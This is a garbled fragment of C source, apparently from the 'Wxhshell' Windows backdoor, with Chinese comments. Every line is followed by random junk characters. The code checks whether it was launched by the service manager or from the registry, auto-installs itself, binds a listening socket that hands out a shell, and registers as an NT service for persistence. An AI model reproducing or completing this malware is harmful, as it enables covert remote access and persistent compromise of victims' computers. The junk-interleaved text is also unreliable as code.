ULONG InheritedFromUniqueProcessId; Qm; BUG]
} PROCESS_BASIC_INFORMATION; JN|VPvjE
<}]{~y
PROCNTQSIP NtQueryInformationProcess; rd">JEK;;
rw]yKH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3p&jLFphL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VGB-h'
; :T9IL
HANDLE hProcess; p/3BD&6
PROCESS_BASIC_INFORMATION pbi; 5j`v`[B;
Yg&`
U^7]B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rnH}#u+
if(NULL == hInst ) return 0; EX+,:l\^
:/i~y $t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {-h, ZdH^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eC;!YGZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J.W Ho
c
T/NjNEd#
if (!NtQueryInformationProcess) return 0; AEqq1A
y?Onb3%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4'm q_o#4W
if(!hProcess) return 0; vd(dNu&,<
n/ AW?'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ).Gd1pE
tt{`\1q
CloseHandle(hProcess); nP;;MX:B
q#'VJA:A5&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '?8Tx&}U8
if(hProcess==NULL) return 0; `.8UKSH+
V^2-_V]8
HMODULE hMod; \K}aQKB/j
char procName[255]; 8YKQItK
unsigned long cbNeeded; ~#Aa Ldq
Y"*:&E2)r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s7"i.A
Z/7dg-$?'0
CloseHandle(hProcess); I="oxf#q
PQ3h\CL1n
if(strstr(procName,"services")) return 1; // 以服务启动 dyO E6Ex
s:b"\7
return 0; // 注册表启动 @)b^^Fp
} ;(S|cm'>}
r.<JDdj
// 主模块 Uouq>N
int StartWxhshell(LPSTR lpCmdLine) wS%zWdsz
{ 02pplDFsM
SOCKET wsl; hfv%,,e
BOOL val=TRUE; /WYh[XKe
int port=0; dhtb?n{
struct sockaddr_in door; az2Xch]
0m&3?"5u
if(wscfg.ws_autoins) Install(); ,E9d\+j
anC+r(jjg9
port=atoi(lpCmdLine); eO[c l B
o|rzN\WJn
if(port<=0) port=wscfg.ws_port; !M^\f
N1
!DcX8~~@
WSADATA data; +$,dwyI2t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >|nt2
V.2[ F|P;3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CL1;Inzl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tl^m=(ZQ
door.sin_family = AF_INET; O,irpQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?(D}5`Nfu
door.sin_port = htons(port); o_rtH|ntX5
6p m~sD
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j|(:I: ]
closesocket(wsl); v|&s4x?D
return 1; =<.F3lo\s
} D:m#d.m
'HB~Dbq`V
if(listen(wsl,2) == INVALID_SOCKET) { /[?Jylj
closesocket(wsl); &O*ENpF
return 1; ]! )xr
} "i%jQL'.
Wxhshell(wsl); LS6ry,D"7
WSACleanup(); 8t[t{"
d.cCbr:
return 0; C0<YH "
$eX*
} s5AgsMq
iC*U $+JG
// 以NT服务方式启动 O^NP0E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =fWdk\Wv
{ vi|Zit
DWORD status = 0; |_nC6;
DWORD specificError = 0xfffffff; +nQ!4
<T4(H[9B
serviceStatus.dwServiceType = SERVICE_WIN32; a.,i.2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G=cNzr9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1R^4C8*B
serviceStatus.dwWin32ExitCode = 0; @ef$b?wg
serviceStatus.dwServiceSpecificExitCode = 0; RH~sbnZ)F
serviceStatus.dwCheckPoint = 0; b{pg!/N4
serviceStatus.dwWaitHint = 0; Hg whe=P
jb3.W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Spo+@G
if (hServiceStatusHandle==0) return; L|J~9FM
9wMEvX70
status = GetLastError(); a(|xw
if (status!=NO_ERROR) MA6P"?
{ 9U'[88
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,LZ(^u
serviceStatus.dwCheckPoint = 0; 5~U:@Tp
serviceStatus.dwWaitHint = 0; ~p.%.b;~t
serviceStatus.dwWin32ExitCode = status; \JU{xQMB
serviceStatus.dwServiceSpecificExitCode = specificError; bKUyBk,\#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7n5Ps\M
return; w_3xKnMT\
} g ;LVECk
)!a$#"'
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^aptLJF
serviceStatus.dwCheckPoint = 0; D 'n7&